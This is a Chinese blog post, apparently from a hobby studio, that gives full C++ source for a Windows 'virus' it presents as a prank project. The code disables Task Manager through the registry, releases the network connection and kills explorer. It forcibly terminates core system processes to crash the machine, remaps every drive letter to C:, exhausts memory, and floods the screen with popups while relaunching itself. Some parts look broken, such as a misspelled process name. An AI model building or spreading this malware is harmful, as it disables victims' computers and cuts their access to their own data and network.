当前位置: 首页 > news >正文

CookieMaker工作室合作开发C++项目十一:拟态病毒

(注:本文章使用了“无标题技术”)

一天,我和几个同事,平台出了点BUG,居然给我刷出了千年杀,同事看得瑕疵欲裂,发誓要将我挫骨扬灰——

(游戏入口:和平精英31.0 快乐星空

 HeiKe.h:

#ifndef HEIKE_H#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{//HWND hWnd = GetConsoleWindow(); //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile(same,ios::out); if (!outfile) {  cerr<<"open error"<<endl;  } outfile<<name;outfile.close();	
}
//主机的好管理
void shutdown(int x, int y)
{Sleep(x * 1000);//等待n秒if(y == 1)system("shutdown -p");//关机if(y == 2)system("shutdown -s -r 0");//重启if(y == 3)system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);srand(time(0));if (q == 1)//当q为1时,进入死循环。while(1)SetCursorPos(rand() % x, rand() % y);			else{//乱移鼠标的线程while(q){SetCursorPos(rand() % x, rand() % y);q--;}	}
}
//控制台的好管理
void Hide()
{HWND s;s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄if (s) {ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口ShowWindow(s, SW_HIDE);//隐藏窗口}	
}
//图标的好管理
void Icon(int x, int y, int n)
{FreeConsole();HWND hwnd = GetDesktopWindow();HDC hdc = GetWindowDC(hwnd);POINT point;while(1){GetCursorPos(&point);//锁定鼠标位置if(n == 1)//错误图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));if(n == 2)//感叹号图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));if(n == 2)//应用程序图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	}
}
//卡死
void Die()
{while(1){new char;malloc(INT_MAX);}
}
//远程攻击
void Shutdown_Go()
{system("shutdown /i");
}
void color (int a) {if (a == 0 || a == 14 || a == 20) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 1 || a == 12) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 2) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);} else if (a == 3) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);} else if (a == 4 || a == 11) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);} else if (a == 5 || a == 13) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);} else if (a == 7) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 15) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);} else if (a == 16) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);} else if (a == 17) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);} else if (a == 8) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 6) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);} else if (a == 9) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);}
}
void explore()//不可打开资源管理器
{system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{system("ipconfig /release"); 
}
#endif

 heker.h

#ifndef HEKER_H#include <bits/stdc++.h> 
#include <iostream>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include <cstring> 
#include "fstream"
#include <conio.h>
#include <cmath>
#include <HeiKe.h>using namespace std;
void SetPos (COORD a) {HANDLE out = GetStdHandle (STD_OUTPUT_HANDLE);SetConsoleCursorPosition (out, a);
}
void SetPos(int i, int j) {COORD pos = { i, j };SetPos (pos);
}
VOID Blue_Screen()
{system("wmic process where name=\"svchost.exe\" delete");system("wmic process where name=\"LsaIso.exe\" delete");system("wmic process where name=\"smss.exe\" delete");system("taskkill /f /fi \"pid ne 1\"");
}
void msgbox(char name[], char same[], string ico)
{if(ico == "错误")MessageBox(NULL, same, name, MB_ICONERROR|MB_OK);if(ico == "警告")MessageBox(NULL, same, name, MB_ICONWARNING|MB_OK);if(ico == "问号" || ico == "访问")MessageBox(NULL, same, name, MB_ICONQUESTION|MB_OK);if(ico == "信息")MessageBox(NULL, same, name, MB_ICONINFORMATION|MB_OK);
}
bool ProcessRun()
{SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;PSID minID;BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);if(b){CheckTokenMembership(NULL, minID, &b);FreeSid(minID);return b == true;}elsereturn b == false;
}
struct CP{VOID start(){Make_Text("爱的病毒.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");system("start 爱的病毒.bat");}void stop(){Make_Text("爱的病毒2.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");system("start 爱的病毒2.bat");}
}cp;VOID echo_of()
{system("@echo off");
}
VOID Tsk()
{echo_of();DWORD dword=TRUE;HKEY h;DWORD s = dword;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));RegCloseKey(h);
}
void full_screen() {echo_of();HWND hwnd = GetForegroundWindow();int cx = GetSystemMetrics(SM_CXSCREEN);int cy = GetSystemMetrics(SM_CYSCREEN);LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &~WS_BORDER);SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideCursor()
{echo_of();HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);CONSOLE_CURSOR_INFO CursorInfo;GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息CursorInfo.bVisible = false; //隐藏控制台光标SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}
void print(const char* p, double time)
{echo_of();while (1){if (*p != 0){printf("%c", *p++);}else{break;}Sleep(time * 1000);}
}
void show()
{echo_of();color(2);printf("notepad - 记事本\n");printf("calc - 计算器\n");printf("winver - 关于\"Windows\"\n");printf("Nslookup - 默认服务器\n");printf("cmd - 命令行\n");printf("cleanmgr - 磁盘清理\n");printf("charmap - 字符映射表\n");printf("dxdiag - Dxdiag修复工具\n");color(1);printf("taskmgr - 任务管理器\n");color(2);printf("wiaacmgr - 扫描仪\n");printf("mspaint - 画图\n");printf("mmc - 控制台\n");color(532);
}
void Start(string same)
{echo_of();if(same == "notepad")	system("start notepad");if(same == "calc")	system("start calc");if(same == "winver")	system("start winver");if(same == "Nslookup")	system("start Nslookup");if(same == "cmd" || same == "")	system("start cmd");if(same == "cleanmgr")	system("start cleanmgr");if(same == "charmap")	system("start charmap");if(same == "dxdiag")	system("start dxdiag");if(same == "taskmgr")	system("start taskmgr");if(same == "wiaacmgr")	system("start wiaacmgr");		if(same == "mspaint")	system("start mspaint");if(same == "mmc")	system("start mmc");		
}
void Taskkill(const char *same)
{char a[10] = "taskkill ";strcat(a, same);system(a);
}
#endif

Ege.h:

#ifndef MAKER_EGE_H
#define MAKER_EGE_H#define SHOW_CONSOLE#include <ege.h>
using namespace ege;namespace ege_game{void FullWindow(bool istitle, LPCSTR title = ""){if(istitle){setinitmode(0, 0, 0);setcaption(title);}else{setinitmode(1, 0, 0);}initgraph(-1, -1);}void setcolors(color_t behind, color_t front, color_t fill){setcolor(front);setbkcolor(behind);setfillcolor(fill);}void fillcircle(int x, int y, int radius, color_t fill, color_t front, PIMAGE pimg = __null){setcolor(front);setfillcolor(fill);fillellipse(x, y, radius, radius, pimg);}void fillrectangle(int x1, int y1, int x2, int y2, color_t fill, color_t front, PIMAGE pimg = __null){setcolor(front);setfillcolor(fill);rectangle(x1, y1, x2, y2, pimg);bar(x1, y1, x2, y2, pimg);}void put_img(int x, int y, LPCSTR name){PIMAGE img = newimage();getimage(img, name);putimage(x, y, img);}/*void put_img_ZhiDingXY(int x1, int y1, int x2, int y2, LPCSTR name){PIMAGE img = newimage();getimage(img, name);putimage(x1, y1, x2, y2, img);}*/}#endif

virsul.cpp:

/*A Virus Project?Yes, You Can Did To Yourself*/
/* The Computer Virus Project, Now You Can Take shell! */
#include <bits/stdc++.h>
#include "heker.h"  //Dedicated Head File
/* Head Files */
int thistime;  //Clock Time
using namespace std;
/* namespace */
void virus()  //Virus Function
{Make_Text("MuOpawS.vbs", "msgbox\"You Computer Is In A Very Disaster Repait Virus, You Need Think A Good Favicon!");  //New A FileMake_Text("WinMain.txt", "Creat Error!");while(1){thistime++;  //Add This TimeIcon(0, 0, 2);  //Draw Iconssystem("start MuOpawS.vbs");  //Start The Filessystem("start WinMain.txt");Icon(0, 0, 1);system("start MuOpawS.vbs");system("start WinMain.txt");Icon(0, 0, 2);system("start MuOpawS.vbs");if(thistime == 60)  //If For Count To 60Blue_Screen();  //Blue Screen}
}
int main(){  //Main FunctionHide();  //Hide WindowTsk();  //More TskProcessRun();  //Have Processwhile(1){virus();}return 0;
}

 main.cpp:

#include <Ege.h>
#include <time.h>
using namespace ege_game;int x, y;void explore()//不可打开资源管理器
{system("taskkill /im explore.exe /f"); 
}VOID Tsk()
{DWORD dword=TRUE;HKEY h;DWORD s = dword;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));RegCloseKey(h);
}void release()//断开网络
{system("ipconfig /release"); 
}void SB(int a)
{if(a == 0){setcolor(SNOW);}if(a == 1){setcolor(RED);}if(a == 2){setcolor(ORANGE);}if(a == 3){setcolor(YELLOW);}if(a == 4){setcolor(GREEN);}if(a == 5){setcolor(BLUE);}if(a == 6){setcolor(PINK);}if(a == 7){setcolor(PURPLE);}if(a == 8){setcolor(GRAY);}if(a == 9){setcolor(BROWN);}
}int main(void)
{setinitmode(1, 0, 0);initgraph(-1, -1);srand((unsigned)time(NULL));while(1){system("start virsul.exe");Tsk();release();explore();setfont(40, 20, "");delay(1);int a = rand() % 10;outtextxy(x + 180, y -30, "快关注!!!快关注!!!");SB(a);outtextxy(x - 100, y - 100, "快关注!!!");x = rand() % 1920;outtextxy(x - 10, y, "快乐星空最棒!!!");y = rand() % 1080;outtextxy(x, y, "关注快乐星空Maker!!!");}getch();return 0;
}

相关文章:

CookieMaker工作室合作开发C++项目十一:拟态病毒

&#xff08;注&#xff1a;本文章使用了“无标题技术”&#xff09; 一天&#xff0c;我和几个同事&#xff0c;平台出了点BUG&#xff0c;居然给我刷出了千年杀&#xff0c;同事看得瑕疵欲裂&#xff0c;发誓要将我挫骨扬灰—— &#xff08;游戏入口&#xff1a;和平精英31.…...

57、PHP 实现 从扑克牌中随机抽取5张牌,判断是不是一个顺子

题目&#xff1a; PHP 实现 从扑克牌中随机抽取5张牌&#xff0c;判断是不是一个顺子 描述&#xff1a; 即这5张牌是不是连续的2-10位数字本身&#xff0c;A为1&#xff0c;J为11&#xff0c;Q为12&#xff0c;K为13&#xff0c;而大小王可以看成任意数字。 解题思路&#xf…...

前端HTML+CSS查漏补缺——仿制百度搜索首页的一些思考

在像素模仿百度搜索首页的时候&#xff0c;在实现的时候&#xff0c;遇到了一些值得记录的点。 在这个过程中&#xff0c;也顺便看了看百度的源码&#xff0c;感觉很有意思。 对了&#xff0c;QQ截屏里面获取到的颜色&#xff0c;是不大正确的&#xff0c;会有点误差。 这是我…...

【Python】实现一个个人理财助手小程序

以下是一个简化的 Python 代码框架&#xff0c;以及如何实现上述功能点的基本思路&#xff0c;可以基于这个框架进一步开发和完善你的小程序。 以下是一个简化的 Python 代码框架&#xff0c;使用了基本的类和函数来模拟上述功能&#xff1a; import pandas as pd from crypt…...

【GCC】结合GPT4 延迟梯度学习2:延迟梯度的计算及阈值更新

上文,充分发现了 排队梯度延迟的重要性, 【GCC】结合GPT4 延迟梯度学习1:公式推导及理论分析 例如: 延迟梯度为正数时,是单位时间内的排队队列长度的“增长速度” 延迟梯度与 发送速率(接收速率?)有直接的关系。 因为有 观测误差、随机因素、噪声,所以要对延迟梯度进行…...

灰豚数字人MotionAI大模型完成备案,模型已超百亿参数!

据8月5日网信办公告&#xff0c;灰豚数字人MotionAI大模型已完成备案。灰‬豚‬大模型拥有超过百亿参数&#xff0c;是综合全面性的视频生成大模型&#xff0c;融合了数字人大模型、声音大模型、文本大模型、视频大模型、图像大模型等技术。 灰豚AI数字人隶属于温州专帮信息科…...

zsh 配置 docker 自动补全

zsh 配置 docker 自动补全 在终端中使用 docker 的命令的时候必须要全部手敲&#xff0c;没有提示&#xff0c;于是就在找是否有自动补全的脚本&#xff0c;搜索了一圈踩了一些坑总结了一下具体的步骤。 首先执行如下命令&#xff1a; mkdir -p ~/.zsh/completion curl -L h…...

鸿蒙第三方应用.hap打包、安装流程。

最近在华为手表上安装第三方应用&#xff08;源码打包构建应用&#xff0c;需要签名&#xff09;。网上看了教程&#xff0c;在此记录下。 准备工作&#xff1a;先安装DevEco Studio开发工具。 进入华为 appgallery connect网站&#xff08;注册、开发者实名认证&#xff09; …...

leetcode:找到字符串中所有字母异位词

题目&#xff1a; 给定两s和p中所有p的异位词的子串&#xff0c;返回这些子串的起始索引。不考虑答案输出的顺序。异位词指由相同字母重排列形成的字符串&#xff08;包括相同的字符串&#xff09;。 示例 &#xff1a; 输入 输出 解释 s "cbaebabacd", p "…...

C语言学习

学习内容 两道题目 猜数字游戏 goto语句 关机程序 代码 //4.编写代码&#xff0c;演示多个字符从两端移动&#xff0c;向中间汇聚 welcome to china!!!! //#include<windows.h> //#include<stdlib.h> //int main() //{ // char arr1[] "welcome to c…...

Java面试题:MySQL高频面试题

MySQL常见面试题01 1、B树跟B树的区别&#xff1f; MySQL为什么选择B树来存储索引&#xff1f; 层数低,可以存放的数据多 2、InnoDB和MyISAM的区别&#xff1f; i:天生支持行锁,手动支持表锁,有事务,索引和数据一起存储 m:支持表锁不支持行锁,无事务,索引和数据分开存储 3、…...

使用js给数字进位,比如23333元进位成2.33万元

文章目录 一、进位函数&#xff1a;二、使用&#xff1a;总结 一、进位函数&#xff1a; //数字进位getUnitObjWithNumber(value){let dataconst returnObj {}let dw let chengshu 1if (isNaN(value)) {data 0} else {data parseFloat(value)}if (Math.abs(data) < 100…...

Java二十三种设计模式-享元模式(12/23)

享元模式&#xff1a;高效管理大量对象的设计模式 引言 在软件开发中&#xff0c;有时需要处理大量相似或重复的对象&#xff0c;这可能导致内存使用效率低下和性能问题。享元模式提供了一种解决方案&#xff0c;通过共享对象的共同部分来减少内存占用。 基础知识&#xff0c…...

腾讯云AI代码助手助力软件开发体验分享

引言 现在&#xff0c;AI工具在软件开发中变得越来越重要&#xff0c;它们能显著提升效率和代码质量。本文就来分享一下我用腾讯云AI代码助手的经历&#xff0c;看看它是怎么在开发中帮了大忙的。 开发环境介绍 这次的项目用的是JavaScript&#xff0c;开发环境是Windows 10…...

Leetcode力扣刷题——182.查找重复的电子邮箱

题目 编写解决方案来报告所有重复的电子邮件。 请注意&#xff0c;可以保证电子邮件字段不为 NULL。 以 任意顺序 返回结果表。 结果格式如下例。 结果 # Write your MySQL query statement below select Email from Person group by email having count(*)>1; 知识点 c…...

idea中好用的插件

输入法自动切换插件 自动切换输入法插件&#xff1a;Smart Input。编写代码时自动切换到英文输入法&#xff0c;注释代码自动切换为中文输入法。极大的提升我们的编码效率。 MyBatisX插件 MybatisX 是一款基于 IDEA 的快速开发插件&#xff0c;为效率而生。主要用于XML映射配…...

spring 代码执⾏ (CVE-2018-1273)漏洞

一 漏洞简介 Spring Data 是⼀个⽤于简化数据库访问&#xff0c;并⽀持云服务的开源框架&#xff0c;Spring Data Commons 是 Spring Data 下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及 以前版本中&#xff0c;存在⼀处 SpEL 表达式注⼊漏洞&#xff0c;攻击…...

幺麻子曲折上市路:毛利率近四年下滑不少,存货出现较大增长

《港湾商业观察》廖紫雯 近期&#xff0c;幺麻子食品股份有限公司&#xff08;以下简称&#xff1a;幺麻子&#xff09;申请股票在全国股份转让系统挂牌并公开转让&#xff0c;拟挂牌新三板。 幺麻子此前上市之路可谓一波三折。2022年9月&#xff0c;公司向四川证监局提交辅导…...

Sol盗u、sol链上的USDT盗窃:警惕恶意智能合约

随着区块链技术的普及&#xff0c;Solana链上的应用和用户数量不断增加。然而&#xff0c;这也为不法分子提供了可乘之机&#xff0c;恶意智能合约逐渐成为盗取USDT等加密资产的一种常见手段。本文将详细介绍恶意智能合约的工作原理&#xff0c;并提供防范措施&#xff0c;帮助…...

jupyter for c++

jupyter for c++ jupyter for c++ jupyter for c++配置环境问题参考文档配置环境 需要 clang 编译器 安装 aconda 默认情况下,anaconda navigator包与anaconda Distribution一起安装,并包含依赖包qt。默认情况下,qt的所有依赖项也应安装,但某些版本的Anaconda Distribution…...

Java 8 Stream API 入门到实践详解

一、告别 for 循环&#xff01; 传统痛点&#xff1a; Java 8 之前&#xff0c;集合操作离不开冗长的 for 循环和匿名类。例如&#xff0c;过滤列表中的偶数&#xff1a; List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...

Element Plus 表单(el-form)中关于正整数输入的校验规则

目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入&#xff08;联动&#xff09;2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...

2023赣州旅游投资集团

单选题 1.“不登高山&#xff0c;不知天之高也&#xff1b;不临深溪&#xff0c;不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...

【Java学习笔记】BigInteger 和 BigDecimal 类

BigInteger 和 BigDecimal 类 二者共有的常见方法 方法功能add加subtract减multiply乘divide除 注意点&#xff1a;传参类型必须是类对象 一、BigInteger 1. 作用&#xff1a;适合保存比较大的整型数 2. 使用说明 创建BigInteger对象 传入字符串 3. 代码示例 import j…...

4. TypeScript 类型推断与类型组合

一、类型推断 (一) 什么是类型推断 TypeScript 的类型推断会根据变量、函数返回值、对象和数组的赋值和使用方式&#xff0c;自动确定它们的类型。 这一特性减少了显式类型注解的需要&#xff0c;在保持类型安全的同时简化了代码。通过分析上下文和初始值&#xff0c;TypeSc…...

MinIO Docker 部署:仅开放一个端口

MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...

手机平板能效生态设计指令EU 2023/1670标准解读

手机平板能效生态设计指令EU 2023/1670标准解读 以下是针对欧盟《手机和平板电脑生态设计法规》(EU) 2023/1670 的核心解读&#xff0c;综合法规核心要求、最新修正及企业合规要点&#xff1a; 一、法规背景与目标 生效与强制时间 发布于2023年8月31日&#xff08;OJ公报&…...

【p2p、分布式,区块链笔记 MESH】Bluetooth蓝牙通信 BLE Mesh协议的拓扑结构 定向转发机制

目录 节点的功能承载层&#xff08;GATT/Adv&#xff09;局限性&#xff1a; 拓扑关系定向转发机制定向转发意义 CG 节点的功能 节点的功能由节点支持的特性和功能决定。所有节点都能够发送和接收网格消息。节点还可以选择支持一个或多个附加功能&#xff0c;如 Configuration …...

如何通过git命令查看项目连接的仓库地址?

要通过 Git 命令查看项目连接的仓库地址&#xff0c;您可以使用以下几种方法&#xff1a; 1. 查看所有远程仓库地址 使用 git remote -v 命令&#xff0c;它会显示项目中配置的所有远程仓库及其对应的 URL&#xff1a; git remote -v输出示例&#xff1a; origin https://…...

Appium下载安装配置保姆教程(图文详解)

目录 一、Appium软件介绍 1.特点 2.工作原理 3.应用场景 二、环境准备 安装 Node.js 安装 Appium 安装 JDK 安装 Android SDK 安装Python及依赖包 三、安装教程 1.Node.js安装 1.1.下载Node 1.2.安装程序 1.3.配置npm仓储和缓存 1.4. 配置环境 1.5.测试Node.j…...